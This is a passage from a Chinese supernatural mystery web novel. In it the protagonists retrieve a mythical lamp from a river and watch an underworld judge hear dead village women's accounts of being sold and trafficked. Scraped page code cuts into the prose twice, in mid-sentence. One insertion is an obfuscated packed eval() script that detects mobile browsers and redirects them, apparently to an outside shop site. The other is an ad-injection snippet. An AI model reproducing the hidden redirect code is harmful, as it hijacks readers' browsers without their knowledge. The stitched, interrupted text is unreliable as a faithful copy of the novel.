“那我们现在就去祠堂后面。”姜泠也不问为什么不能,因为她几乎已经确定,祠堂后面的禁地就是破解眼前困境的办法。 “……那稍等,我去取后门钥匙。” 村长就是村长。尽管不知道禁地里有什么,也不知道为什么被称为禁地,但在他看来,这么多条活生生的人命要比祖训流传下来的、虚无缥缈的“禁令”重要得多。 祠堂的后门许久没有被打开过了,猛然被人一推,厚厚的灰尘四溅,呛得推门者接连打了好几个喷嚏。 万平没说谎,从后门出去,是一块竖着“保护林区,禁止入内”的牌子。 牌子上散发出一股油漆的味道,不难推断出前一阵刚有人换过。 不同于湔山,这里的林木都不是遮天蔽日的参天之树,林子里的路也并未完全被恣意生长的野草覆盖。 姜泠走在最前面,掌心玉玦的光愈发明亮起来。 “就是这儿。”她带领众人停下脚步的地方是一片开阔空地,空地上除了一条穿行而过的河,什么都没有。 “你要找的东西在哪儿?”村长打着手电筒四下照了照——这儿怎么都不像是能藏东西的地方。 “会不会在河里?”凌岓也走上前,看着一条汩汩的河流思索。 “跟我说说,这里有什么。”姜泠收起玉玦,没有直接回答。 “我们出林子了,目前这儿除了一条河以外,什么都没有。” “河的前面是什么?” “山。” “山是什么形状?” “形状?”凌岓看着眼前高低错落的山,愣了一下回答,“就是山的形状,‘山’字形,中间那座最高,两边的都矮。” “林为枕,山做尾。前低后高,河成被。”姜泠兀自念叨着,“你说的对,我们要找的东西应该在河里。” “可是这条河这么长,流得又这么快,我们上哪儿去找啊?”关扬听见两人的谈话,一脸愁容。 “这好说,咱村子里多的是水性好的。”村长一拍胸脯,打起保票。 “水性好?就是全村人加上我们仨都填进去也填不满啊大哥!”关扬瞅了瞅面前那条穿行而过的银带子,觉得村长淳朴得可爱。 “现在能看见月亮吗?”姜泠并不理会另两人的拌嘴,轻轻问离自己最近的那人。 “看得见。十五的月亮十六圆,今晚的月亮比圆规画出来的还要圆。”凌岓回答。 “月亮照在哪儿?” “啊?” “月亮光集中交汇在什么地方?” “河里啊。” “现在月亮照着的地方,往西十三度左右,就是藏东西的地方。”说话的人得出结论,当即就朝着河边走。 “哎哎哎,你下什么水!”关扬想上前阻拦,却迟了一步。 “你指挥,我下去捞。”凌岓已经拦在了女孩身前。 “别急。”姜泠被这两人弄得一头雾水,却还是耐心解释,“我没打算这么莽撞就下水,我打算先探探情况。” “怎么探?”一旁的村长好奇问。 “它会探路。” 顺着年轻姑娘水葱一般的手指看过去,一条银色的蛇正悠哉悠哉爬向水边。凌岓眼尖,立马认出来这是在湔山为之胖疗伤的那条蛇,只是好像看着比之前长大了一些。 “这靠谱吗?”村长和关扬难得达成一致,一同露出难以置信的表情。 姜泠不说话,她似乎懒得回应这种毫无意义的质疑。 大约一刻钟的时间,蛇回到了众人站定的地方。它从脚下的土地游上主人的手腕,“嘶嘶”吐着信子。 “水深两米左右,入水那一段的中间有两块石头。”姜泠点了点头,小蛇便不知游到哪里去了。 “了不起啊,还能听懂蛇语!”方才还质疑的两个人,此刻都对这个看起来单薄不已的姑娘刮目相看。 “那现在可以下水了?”凌岓把鞋带系紧了点儿,从不远处捡了一根长树枝。 “可以了。”姜泠轻轻拍了拍凌岓,“只要把那两块石头带上来就行,其他都不用管。” “这好办!”关扬一个箭步跨上前去,毛遂自荐,“我和老凌去,你放心!别说一块石头,就是十块!” 众人看向他,等待下文。 “十块我俩可能兜不下,那得请求支援。”等下半句说完,村民中有人笑出了声。 “注意安全。”下水前,村长特意叫了两个先前砌纸塔的年轻人守在河边,叮嘱着,“你们在这儿看着,要是他们需要帮忙,赶紧下去。” “嗯!”两个年轻人用力点头。 “水下应该没有什么东西。” 村长的关心在两个下河人的意料之中,但姜泠的关心不在,“以防万一,含着这个别咽下去。如果真的遇到什么危险,能保命。” 两个人手中被分别放了一颗浅红色的药丸,像是加了劣质色素的糖。 月光下,两个高大的人影浮在了河面上。不一会儿就到了月色汇集处偏左一些的地方。 “豁——”两个人总算上了岸,怀里各抱着一块石头。 “死沉死沉的!”关扬把石头往脚下一扔,就地坐下拧起了衣服上的水。 “两块石头都是三角形。老关拿上来这块刻着一条往左飞的龙;我这块上面的龙往右飞。” 不等姜泠开口,另一个上岸的人已经自觉地描述起了石头的样子。 “是一对儿。”女孩伸手去摸那两块石头,“除了龙,背面还有花纹。这是什么纹路?” “我看看。”凌岓翻过两块石头仔细端详,半天没看出端倪,又把它们换了个方向拼在一起,这才恍然大悟,“好像是朵莲花,但不太像,花瓣太细了。而且要合起来才能看出是花。” “你们这些人里有没有真正的本村人?”姜泠得到了回答,转身问村长。 “我们都是。”对方丈二和尚摸不着头脑,不知道眼前的女孩什么意思。 “我的意思是…纯粹的村里人。”姜泠试图字斟句酌,最后还是决定直接问,“就是父母祖上都是村里人,从没有和外乡人通婚的六溪村后代。” “近亲结婚?”这下村长犯了难,“现在都什么年代了,哪有近亲结婚的。” “再想想。这个人对我们很重要。”姜泠也不着急,给足了对方思考的时间。 “你要这么一说,好像确实是有一个。”村长猛拍自己半白的脑袋,“你等着我去叫他!” “你怎么知道东西藏在哪儿?”趁着村长去找人的机会,凌岓问出了自己想问的问题。 “玉玦可以用来找东西,这我刚刚提到过。”姜泠并不隐瞒,把提问者想知道的和盘托出。 “它的温度越高,发出来的光就越亮,离我们要找的东西就越近。” “如果第三只龙眼确有其事,那么埋东西的人一定会选择埋在阴时阴地。” “太阳为阳,月亮属阴,加上七月十五鬼门开,这就是阴时。” “而山阳水阴,刚好河从山和树林的正中间穿过,是最标准的‘头尾无忧’地形。那么七月十五当天,月亮照向水里的地方就是阴地。” “等等,打断一下。‘头尾无忧’是什么地形?”关扬问。 “你可以把这里想象成一张床。”第一次有人问这个问题,为了方便理解,姜泠打了个比喻。 “我们之前穿过的树林,里面每棵树都不高。如果你是一个以此为榻的巨人,那么树林的高度刚好可以成为你的枕头,这就是‘林为枕’。” “古代有一种架子床,正面侧面都有围子。这里地形开阔,侧面无遮挡,那么唯一的围子就是前面那座山。而山的形状刚好又是一高两低,能顺理成章地变成床尾的屏障。这就是‘山做尾’。” “‘河成被’就更好理解了。夹在山林正中穿行的流水就像床上的被子,能遮住想要隐藏的东西。” “前有密林,后有高山。换句话说,如果现在这里发生战争,刚才的林子和前面的山就能成为我们最天然的屏障。这就是头尾无忧。” “原来如此!那为什么下河的时候,又要让我们往月照偏西一点儿的地方去?”关扬在脑子里飞快地存储刚刚获得的知识,打算回去以后借此写一篇专题。 “因为今天是七月十六。按照地理知识,月亮每天自西向东移动十三度左右,据此往前推,昨天应该就在今天月光所照处往西大概十三度的位置。” “牛啊!”这下别说关 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万余的胳膊被眼前的姑娘抓了起来,还不等他反应过来,中指指尖已经被扎出了一个血洞。 “别哭,忍着点。” 攥着他手的人说话明明很好听,语气也不凶,可万余还是生生把眼泪憋了回去。 两块石头拼在一起成为一个标准的方形。万余的指尖血滴下去,石头上的纹路立时变成了一根根血管——让落于其上的血液再次流动起来。 等到血液流过每一道纹路后,石头上各一半的花彻底合二为一。那两条龙更是像活了一样,缓缓向龙头所对的方向移动。 等到两条腾飞的龙不见了踪影,石头上雕着的那朵含苞欲放的花也开了。随之而来的是两块巨石一层一层地向外绽开,直到露出最里面一只被油纸包着的盒子。 “这是什么能人做出来的东西,开了眼了真是!” 不止关扬,身边的村长和几个村民也从未见过这样神奇的物件。 油纸里包着一个金丝楠木制成的盒子,盒子的外表刻着三条形状各异的龙。 盖子上的龙长须飘逸,腾云驾雾,一眼看过去极有古代神话中龙的威严;盒身上的龙长着一双翅膀,盘旋着吐出舌头,那样子更像是某种蛇类;盒子底部的第三条龙则是有鳞无角,身下是一道道弯弯曲曲的波纹。 古怪的是,这三条龙都只有一只眼睛。 木盒外面保存得极好,摸上去没有半点潮湿泡软的感觉。打开盒盖,里面衬着厚厚的金黄色丝缎,丝缎正中间,嵌着一盏玲珑剔透的花形灯。 “这灯的样子,和石头上的花好像是一样的。”凌岓说着,又看了看脚边那块层层剥开的石头。 “回魂灯。”姜泠小心翼翼地将灯从木盒中取出来,仔仔细细摸了一遍,“真的是回魂灯。” “什么灯?”村长一脸费解。 “回魂灯,传说中能起死回生,亦能克邪镇恶的灯。” “听起来就很牛。”关扬看了半天,始终没敢上手触碰。 “是很厉害。”这次没等其他人问,姜泠主动讲起了灯的渊源。 “传说,回魂灯取自三大阳脉每一脉中,最高的那座山顶峰处的寒玉,由长明火历经七七四十九天炼化。再沉到两大水脉的最低处,分别濯洗四十九天而成。” “你其实没说错,它的确是莲花。”拿着灯的人不忘肯定凌岓先前的猜测。 “之所以花瓣细,是因为它是赤莲花。也就是佛教里说的曼珠沙华,你们经常听到的彼岸花。” “确实如此。”凌岓点点头,“那些小说、电视剧里都讲过,我记得好像是说彼岸花生长在黄泉边上?” “差不多。曼珠沙华生长在阴阳交界,所以能通阴阳,是传说里的神界天花。” “说那么多,咱也不知道咋让它亮啊。”一个围观的村民说, “也是,你别看盒子保存得这么好,谁知道灯还能不能用。”另一个村民表示附和。 “谁有打火机?点着试试不就知道了!”关扬一摸口袋——唯一的打火机在安检前被他扔进了垃圾桶。 “用不着打火机。”熟悉的声音传来,“交给我,我知道怎么让它亮。” 是贺一川。她不知道从哪里摸过来的,也不知道什么时候到来的。原本跟在几个人身后的许多村民现在正躺在贺一川和她的“同伴”脚下,一点声音都没发出,就这样沉沉睡去了。 19. 第十九章 第三只龙眼 变故来的太快,在场众人只听见一声大喝,“往山上跑!”。 关扬来不及分辨那是谁的声音,也根本顾不上自己有多狼狈,只是卯足了劲儿往河对岸冲。好几次都差点被贺一川身后的“人”抓到。 “完了完了,是死路。” 刚刚下河的时候守在河边的年轻人跟着跑到山前,看到眼前的场景,两腿一软,跪在地上—— 三座大山坐落此处,完全垂直的角度和光滑的山壁丝毫没有留给来人可供逃生的后路。 一晚上都在东躲西逃,刚刚穿过了树林,又涉过了河。湿漉漉的衣服已经足以让人筋疲力尽了,再加上一直提心吊胆的心理压力,剩下的人中有大部分都处在崩溃的边缘。 尽管贺一川身后的那些亡者下了河后速度变得奇慢无比,到现下还在河中间泡着,但总会追上来的。 “还跑个逑,干脆等死算了!”山前,有人往地上一滩,打算放弃挣扎。 “盒盖上的是真龙,在最中间的山壁上找到和它眼睛形状对应的山石,这个我来负责。盒身上的那条不是龙,更像是鸣蛇一类的东西,《山海经》里记载,鸣蛇的出现意味着大旱,找到那座寸草不生的山,还是要对应龙眼的形状。” “盒底的是蛟龙,到离水最近的一面去找,关扬来负责这个。” “找到以后都先别动,看我的灯光。手电光闪两下之后,按照先鸣蛇、后蛟龙的顺序来处理你们找到的石头。” 村民们的情绪低沉,可姜泠并不打算放弃。她拉过凌岓和关扬,语速飞快地安排完任务,径直走向最中间的山,也没留给另外两人发问或拒绝的机会。 互为发小的两人面面相觑,最后默契地走向了各自负责的“任务山”。 事情进展得比想象中快,贺一川拖着一身冷水上岸的时候,姜泠已经摸到了和真龙眼睛一模一样的山石。 山石松松镶在山壁里,她轻轻敲了敲,然后果断往下一按,接着便有声音从山中传来。 看见中间的山壁上闪过两道亮光,凌岓也狠狠把手底下的石块往下压,响声更大了。 等关扬那边的动作结束,三山之间在“轰隆隆”的响声中裂开了一扇高门。与此同时,贺一川和她身后的“人”再一次逼近了。 “快进门!”姜泠从山壁上跳下来,毫发无伤。 万余只愣了一秒的时间,便被一个影子扑倒在地。姜泠腕上的长鞭只差毫米的距离便能将那个扑倒万余的身影甩开,可还是迟了一步: 挣扎中,万余指尖的伤口开裂,鲜血涌出,刚好碰到正掐着他脖子的“人”。血液和袭击者接触的瞬间,先是回魂灯发出刺眼的红光,照亮了半边天;接着,那道裂开的山门完全崩碎了,一时间土石四溅,周围的人只好趴在地上躲避。 “这是哪儿?十八层地狱吗?”是关扬的声音。 “姜泠,姜泠醒醒,没事儿吧!” 石块飞来的时候,万余身上的亡人倒是避开了,姜泠下意识护在万余身前,结果被砸了个正着,陷入失去意识的状态。 凌岓一骨碌从地上爬起来,看见姜泠躺在一边,心下一惊,赶紧猛猛抱着她的肩膀边摇边喊。 短暂晕厥的人很快就醒了:“别晃了,再晃就吐了。” “上帝保佑!姜小姐没事儿就好,没事儿就好!”看见姜泠醒了,关扬赶紧凑过来,“但这是什么鬼地方啊,怎么和他娘十八层地狱一样!” “怎么了?”刚醒来的人也察觉到了不对,“我们不在原地了吗?” “不在。”凌岓从方才的焦急中缓过来,冷静地看向四周,“除了万余,周围一个六溪村的人都没有。贺一川他们也不在。” “我们身边有什么?” “后面什么都没有。”凌岓看了一眼身后的山壁,又转回来,“前面有两条路,一条路是索道,看不到头,前面黑咕隆咚的;另一条倒是有点光亮,但也看不到头。” “除了路,我们头顶还挂着人。看着不像真人,好像是石俑,但这些石俑发的光是红的,有点奇怪。” 等身旁人汇报完毕,姜泠想都没想就作出了决定,“走索道。” 姜泠走在最前面,凌岓断后。关扬走在中间最安全的位置,顺带承担起了背负万余的任务。 索道最开始的那一段还算正常,除了黑一点以外,没有别的问题,手电筒也还能照到前方的路。可走着走着,周围就起了变化。 不知什么时候开始,索道两侧漫上来浓浓的白雾。强光手电的光线照到前路上,被白雾吞噬得干干净净;雾越来越浓,很快就连前后的人都看不到了。 “老凌!老凌你在哪儿呢!” “喊那么大声干嘛,我不就在这儿。”听声音,发小似乎和自己近在咫尺,可就是看不到人。 “姜大夫,你在前面吗?”自从姑娘醒了之后,凌岓又开始称呼她的职业了。 “在。”姜泠的声音从浓雾中传过来,让人安心,“你们站在原地别动,我看看回魂灯能不能散雾照明。” 片刻之后,眼前的雾气终于散去了一点。一道淡黄色的光从大雾中穿过来——是姜泠托着的玉玦。 “那灯不管用啊?”关扬随口问道。 “不是。灯不亮了。”姜泠说着,脑海里浮现出万余和那个袭击者接触时的画面,心里有些不确定,“亮灯的时间有限,何况我们还不知道点亮它的具体条件到底是什么。” 接下来的路程,三个人相互都不敢离得太远。紧挨着走了许久,终于走到了头。 超乎想象,索道尽头出现的并非什么妖魔鬼怪,而是一座沐浴在晨光之中的古宅。 “在这地方建房子,还真是别出心裁啊!”凌岓尚且还能在此时感叹一句,身前背着万余的发小已经张着大嘴不知道说些什么好了。 “进去吧。”姜泠一伸手,推开了宅门。 宅子之内,别有洞天—— 走进门,首先映入眼帘的,是檐下挂着的一盏盏白灯笼,每个灯笼上面都写着大大的“奠”字;其次,是摞在堂屋门口、数不清的招魂幡,压在下面的已经有些泛黄了,堆在上面的倒还算得上新。 在无比压抑的气氛中,几个人穿过堂屋,来到后院,见到了更让人瞠目结舌的景象——偌大的后院被塞得满满当当——被一口口棺材塞得满满当当。 “这是,太平间还是?”成为媒体人这么多年,关扬从来没有什么时候像此刻这样失语过。 “这是他们的墓,是他们死后安家的地方。”贺一川的声音在身后响起。 众人防备着转向她,却发现她和身后的亡者已经没有了先前袭击他们时的那种凶狠。 两方人在这样一个压抑的地方达成了诡异的和平。 贺一川看着眼前的三男一女,叹了口气,“你们明明有很多次机会不来的。在安城,在清州,只要你们拒绝一次,都不会被卷进来。” “这是哪儿?”关扬冷静下来,和面前这个共事了许久的女人对视。 “第三只龙眼。”姜泠比贺一川先一步回答这个问题,“原来这就是第三只龙眼。” 话音刚落,一阵轻风吹进来,贺一川和身后的一众人又不见了,姜泠没由来得感觉有些焦躁。 身边的关扬将背上的万余往地上一扔,对着方才贺一川站着的方向发起疯来。 “我那么真心实意地对你,你呢?你是真心实意地把我往火坑里推!” “六溪村的case是你要求跟的,你说让我陪你来我就陪你来,你让我鞍前马后地办事儿我就办,从头到尾我说过一句怨言没有?” “还姐姐,报了警我才知道你是个孤儿!到那个时候我还在相信,我tm还像个二臂一样相信你说的话!我相信不是你害我,我相信你有姐姐!你呢?” 看着面朝空气张牙舞爪的关扬,凌岓试图上前安抚,却被一把推到了一边。 “你一早就知道这是个什么地方!你一早就知道我为什么会收到那个快递,为什么会做噩梦!你他奶奶的…” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665990|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话没说完,凌岓一记手刀劈过去,关扬和万余并排躺在了一起。 “他中毒了吗?还是真疯了?” 凌岓转头想要寻一个明白,却看见一向面如平镜的姜泠表情怪异地站在一旁。 “姜大夫,你没事儿吧?”问这话时,凌岓几乎是在祈祷仅存的可靠队友千万不要出事。 “没事。”女孩的神色恢复如常,又问,“你没觉得有什么不舒服吗?” “没有。你哪儿不舒服?要不要紧?是不是刚才那个石头砸出内伤了?” “不是身体上的不舒服。”姜泠轻轻摇头,“你没觉得心里有点不舒服吗?” “心里?”凌岓还是不明白哪里有问题。 “你还记得我跟你说,第三只龙眼有一个作用,就是会把活人心里的恶放到最大,然后吞噬生魂吗?” “记得。” “或许,关扬刚刚就是受到了一点影响。” “我为什么没觉得有影响?”凌岓费解,想到眼前人刚刚的表情,犹豫着问,“姜大夫,你也会被影响吗?” “我不知道。”回答者向来有话直说,“我既不知道这是什么感觉,也不知道为什么会有这种感觉。在以前,我还从来没有过这种体验。” “什么体验?”和她对话的人听得云里雾里,“你是想起什么了?还是也有想做点什么的冲动?” “没有,什么都没想起来。”姜泠浅浅一笑,“也什么都不想做。一个没有心的人,没有记忆,自然也没有什么感情可言。” 这下轮到问问题的人沉默了,他想了好半天,嗫嚅着问出一句:“那也算因祸得福。” “洪钟不是都跟你说了嘛,既然知道,不必这么小心翼翼。” 姜泠走上前,先是探了探万余的鼻息、又摸了摸关扬的脉搏。接着,她从随身带着的盒子里取出一颗棕色的药丸塞进关扬嘴里后,得出结论:“都没什么事,过一阵就会醒的。” 凌岓有些尴尬地站在她身后,有种中学时候上课偷玩游戏机,被班主任抓了个正着的羞愧感。 在这么一座布置为灵堂的宅子里呆久了,恐惧感也自然而然消散了。 万余和关扬先后睁开眼,后者醒来时,眼神清澈如初生婴儿。 “老关,没事儿吧?” 关扬醒来正对上发小一双关切的眼睛,头脑发懵,“这是哪儿?” “这是…”对方想了一圈,不知道怎么解释这个地方,“你不会什么都忘了吧?” “嘶——是有点想不起来了。”刚醒来的人摸了摸后脑,总觉得那里隐隐作痛。 “疼痛也是刺激记忆的一种方式。”姜泠适时提醒。 “明白了。”凌岓答完,抽手给了关扬一巴掌,“现在呢?想起来什么了吗?” “想起来了。”被突然袭击的人真的清明起来了,“敢情我这脑子后头也是你打的?” “就不能想起来点儿正事…“ “该走了。”姜泠打断了两人的斗嘴,迈步走向宅子门口。 天已经大亮了,可来时走的那条索道却不见了踪影。取而代之的是一座高台,更确切一点,是刑场。 “这怎么?我们是穿越到哪个朝代的菜市口了?”关扬拍了拍自己的脸,以为自己还在梦里。 “伯伯…伯伯!”万余突然冲向高台,往台子上爬。 “那不是村长吗?”凌岓看到最中间被绑在木桩子上昏迷不醒的人,吃了一惊。 “老万怎么也在里头!我去,这不都是六溪村的人嘛!我说怎么没跟我们一起,搞了半天是被人弄到这儿来了。”关扬紧跟着反应过来。 万余没能跑到村长身边,他刚爬上高台没走两步就被一股巨大的力量弹了下去,幸亏姜泠反应够快,及时拉住了他。 “这什么?他们不会都是假的吧?”另两人见状,也靠近高台。 “不是。这叫龙气,会像屏障一样挡在这些人和我们之间。除非有人从里面突破,否则谁也别想从外面进去。” 20. 第二十章 六溪村的村民有人像村长一样被绑在木桩上、有人被绳子高高吊起来、有的跪坐在地上,但都没有清醒着的人。 这一座刑台十分大,村民后面还有许多被捆缚的人。只是一来他们低着头,二来被前面的人挡住了,无法看清后面那些人中还有谁。 村民身后不远处摆着一张红木案几和一张太师椅。案几上放着一个装满令签的竹筒;竹筒下还压着厚厚的一叠纸。 这是古代监斩官坐的位置,而令签筒下的纸似乎罗列着许多人的罪行。 正在四人为眼前此景束手无策之际,有人款款走上刑台,坐在了那张太师椅上。 来者是个中年人,下巴上蓄着山羊胡,双颊处还垂下来两绺细细的长髯。尽管脸上已经有了岁月留下的沟壑,可依旧掩盖不住他的气势和威严。 这个中年人正是判官。他身穿一袭青色圆领绸缎长衫;腰间系着一条黑色蟒纹腰带,腰带正中镶着一颗碧绿的椭圆翡翠;脚下还蹬着一双黑色绒布翘头长靴。乍一看,真有几分古人归来的样子。 “他不会下一秒就要说‘堂下何人状告本官’了吧。[1]”关扬小声嘟囔着不合时宜的玩笑。 中年人将令签筒拿到一边,底下压着的纸被他一张张翻看起来。 台下站着的不止姜泠四人了,陆陆续续有各种打扮的人也聚集在了这里,更显得此处像是古时候可以围观处决犯人的刑场了。 刑台侧面也排起长长的队伍——是那些与六溪村村民曾经相熟的“袭击者”们。他们个个低着头站在长队之中,似乎在等候发落。 关扬本来还想问身边两人什么情况,见此场景,愣是把嘴闭紧,力图扮演好一个合格的“旁观者”。 “万胜难。”中年人叫出一个名字。 下一秒,一个身材高挑的女孩走到案几之前,标标准准鞠了个躬。 “这上面记载你于十五年前意外坠井而亡。既是意外,又何来的怨恨?”端坐台上的判官将手中的一页纸和一支笔放下,捋了一把自己的山羊胡。 “他们,是他们害我掉到井里。”女子指向的方向,有两个被高高吊起来的人,一男一女,都已经上了年纪。 判官皱起眉头,示意她说下去。 被吊起来的男女是万胜难的父母,十八年前,尚未成人的她被自己的亲生父母“换”给了一对儿外乡来的夫妇。 说是“换”,实际上是变相将她卖了出去。万胜难还记得,离开家的那一天,父亲从那对外乡夫妇手中接过了两封厚厚的红包;母亲则是别过头回到屋中,什么话也没说。 再然后,不管她怎样哭求,父母都始终没有理会一句,而她被那对夫妇带去了一个完全陌生的地方。 在新“家”里,那对夫妇把一个又高又壮却有些痴傻的男人带到她面前,告诉她,这是她未来的“丈夫”。 小姑娘彼时还不懂这个词的意思,现在提起来,却是字字泣血。 之后的三年中,万胜难觉得自己几乎历经了世上所有的苦难。 她每天天不亮就要起来干重活;当初带她回来的夫妇无时无刻不在盯着她;每次要出门之前,还必须提前告知他们。甚至于到那儿的第一年,她完全不知道村子外面长什么样…… 一直到她有了第一个孩子的时候,情况才稍微好了一点。她可以偶尔跟着左邻右舍的一些熟人一起去镇上赶集;也慢慢有了一些自己可以支配的闲暇时间。 但万胜难不想这样。在为数不多的几次赶集中,她看到了那些打打闹闹的高中生、看到了开着车来到这里的外地商人和游客。 中学之后,万胜难的父母就不再让她继续上学了。但想读书、想走出山村的念头却早已在心里生根发芽,她开始为自己的出逃作出谋划。 之后的时间中,她对那一家人无比顺从,对方对她的要求和束缚也渐渐少了很多。第三年的大年夜,趁着那一家人都喝多了酒,这个女孩什么也没带,毅然决然地离开了这里。 “她真的很勇敢。”听到这里,凌岓由衷感叹,只是他不明白为什么这样勇敢的姑娘最后会到落井而亡的地步。 “我三年没有见过他们了,所以我回家了。”万胜难看着已经清醒过来的夫妇,眼泪抑制不住地往下掉。 “傻姑娘,回什么家呀!这不就又跳回火坑了嘛!”关扬也顾不得身边那些围观的是不是人了,他焦急得很,恨不能穿越回十五年前阻止这个姑娘。 凭着之前的记忆和所学,万胜难辗转许久,终于回到了六溪村。但她想不到的是,对父母这份没斩断的眷恋,断送了她自此以后的所有希望。 万大夫妇看见三年未见的女儿出现在家门口时,非但没有任何喜悦,反而露出一脸活见鬼的表情。 “你怎么回来的!”万大脸色铁青。 “我,我…”看着父亲的脸色,小姑娘一句辩解都不敢说。 三年中,家里也发生了不小变化——父母又添了一个弟弟。即便父母全然一副不待见她的样子,即便弟弟自始至终也没有喊一句姐姐,可在她心里,家总比外面要好。 “谁会防着自己的爸妈呢?”女孩问。 万胜难本以为父母只是骂两句,最不济,也最多像小时候那样打她一顿。她怎么都没想到,当天晚上父亲就给那家人打了电话。 三年的努力,在隔天看到抱着自己孩子出现的那一家人时,灰飞烟灭。 她名义上的“公公”先是进行了一番态度强硬的“威逼”;随后,所谓的“婆婆”和“丈夫”又以什么也不懂的孩子为由向她说好话。 这个姑娘想寻求父母的庇护,一转头,却对上两双冷漠的眼睛。 接下来,比她高出整整一个头的“丈夫”步步紧逼,她节节后退。退到自家院里的井边,一脚踩到了地上的青苔,这才有了判官手里那句“十五年前,意外坠井而亡。” 万胜难讲完了,眼泪也流尽了。判官思索了一番,迅速翻出几张纸浏览着什么。 “你说的那对夫妇在你去世之后被你们那边的警察抓了,之后也实实在在坐了牢。至于你的父母,你想怎么处置?”判官神情严肃,认真问道。 “小时候,陈老师跟我说,我的名字是战胜一切困难的意思。我后来才知道,我的名字其实是‘生男’不容易的意思。”女孩恨恨盯着眼前的男女,继续讲述。 万胜难意外之后,并没有像书里写的那样重新投胎或是魂飞魄散。相反,她一直在家附近徘徊。 按照女孩的说法,起初她并没有什么想要害人的意思。可是每天看见父母对弟弟的百般宠爱,再想起自己已经是一个孤魂野鬼,她的心里越来越生气,恨意也就越来越强。 “万光宗是被你害的吗?”判官问。 “不是。”女孩答,“我也不知道他为什么就生了病,最后还因为这个离开了。” “恨意深重,会影响到活人的健康。”姜泠小声向同伴解释着。 “你们二位有什么要辩解的吗?”刑台上的人把目光投向了被控诉的夫妇。 “解释什么?”万大一开口,就让台下的凌岓和关扬翻了个白眼。 “青天大老爷,我们冤枉啊!”万大哭嚎起来,“我们夫妻从小把她认认真真养大,就算让她去别人家,也是为了给她一个好归宿啊!结果现在还要被她倒打一耙,这不是养了个白眼狼嘛!” “就是的,就是的!”万大的妻子应和着,“如果不是家里实在揭不开锅了,又怎么会有父母舍得把自己的女儿带给别人呢?” “揭不开锅了为什么还要生弟弟?” 起先,这个被父母抛弃的孩子还努力不让自己的情绪失控,可后面那句话,她还是忍不住吼了出来,“不舍得,又为什么在家里条件好一点的时候还要赶我走?” “我…我们…”万胜难的母亲最终没能说出什么辩解的话来,只是开始“呜呜呜”地哭。 “你希望怎么处置他们?”判官重复了一遍先前的问题。 “杀了他们!”刑台下的围观人群中有声音高喊出这句话,剩下的人也立刻跟着附和。 见此,万大夫妇一时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间面色变得煞白,又不知怎么瞥见了人群中的姜泠和关扬,大喊着让他们救命。 “我不想让他们死。”万胜难这句话一出口,全场鸦雀无声。 “我要他们剩下的每一天都活在痛苦中,要他们永远记住万光宗临走前的样子!” “你决定好了?”判官问。 “决定好了。”女孩点头。 “她还是太善良了。”关扬摇了摇头,“这么禽兽不如的东西怎么配为人父母?” “是啊。”凌岓也表示同意,“可是对于大部分小孩来说,对父母最大的报复也就是让他们活着怀念和忏悔了吧。” “他们不会后悔的。”姜泠的语气能结冰,“他们反而会觉得是这个孩子的错。只可惜,她没有反悔的机会了——交换仇恨的代价是彻底消失。” 果然,判官大笔一挥之后,万胜难的身体渐渐变得透明,最后彻底消失在众人的视线中。 “你怪我们心狠,你把你的儿子一个人扔下,自己跑回来的时候,你和我们有什么不一样!” 眼看女儿就要离开,万大还不忘对着她逐渐透明的躯体大喊上这么一句。刑台下的围观者闻言,无一不想把他暴揍一顿。 “下一个,万苗。”判官声如洪钟,登时压下了一片嘈杂。 “万玉。” “万生丁。” …… 判官念出一个又一个名字,每一个名字叫完,都会有一个六溪村的女人走上刑台,提出她们的控诉。 这些已逝的女人中,有人生于几十年前,也有人早已经离世近百年;有人控诉父母,也有人控诉兄弟姐妹或其他人… 刑台边上长长的队伍已经短了许多,原先被捆缚在后面的人也一个一个露出了面孔。台上的人并非都是六溪村的村民,还有一些是其他地方的人。 这其中,有一些人是亲手做了恶;还有一些是作恶者的子孙后代或与之沾亲带故的人。此时,他们都在这里等候审判,却都难说出什么有道理的辩解来。 七月十五那晚结婚的女人生前身死他乡,死后却被无良贩子卖到六溪村配阴婚;送葬队伍的棺材里躺着一个寿终正寝的老妇人,可她却是在许多年前被人牙子拐至此处的… 每个人的经历各不相同,可每个人的控诉都记载着她们短暂一生的痛苦。字字泣血,声声涕泪,没有哪一个女人说完自己的经历后能叫人不扼腕叹息。 “丧尽天良!真是丧尽天良!”台下的人听着,已经找不出合适的词句来形容这些故事了,“一个个平时看着都是老好人,怎么背地里净干这种勾当!” 如果关扬手里有支笔杆子能作为武器使用的话,那眼前这些人早已经被攻击得体无完肤了。 贺一川垂手站在队伍最后,自始至终没有抬起过头。眼看着下一个就该念她的名字了,台上的青袍判官却不紧不慢地站起身离开了。 “中场休息啊…”有人小声嘟哝。 “你们是活人诶!”身边的围观人群见判官离开,也跟着松动了一些。不知是谁突然喊了这么一句,其他人的目光便纷纷投向姜泠四人。 “怎么,他们不会要对我们动手吧?”关扬背靠着发小,万分警惕地和四周汇集过来的目光挨个对视。 “不好说,随机应变吧。”背后的人答。 “你们也是来看主官会审的?”有人问。 “真稀奇,第一次见着活人来看主官会审。”有人觉得新奇。 不同于六溪村那些攻击力拉满的亡魂,这些围观的亡人并没有要袭击几人的意思。 相反,他们对难得一见的活人甚是好奇,把这四人围在中间打量了一番后,便你一言我一语地讨论起来。 “主官会审是什么?”凌岓趁机问身边的姑娘。 “不知道。”见没有什么危险,姜泠松了口气,“回去问洪钟。” “肃静!”判官重新回到了太师椅上,正襟危坐。 “万希娣、万含璋。” 念了两个人的名字,却只有贺一川一人走上了高台。 21. 第二十一章 或许是有前面故事的铺垫,关扬看着把自己拖到浑水里的人走上刑台的时候,怨怼也没有了、憎恶也没有了,只剩下出奇的平静。 “怪哉,你是何人?”判官仔细看了看贺一川,又比照着手上的纸反复确认,“你寿未尽,也并非万希娣和万含璋,怎么是你到本官面前?” 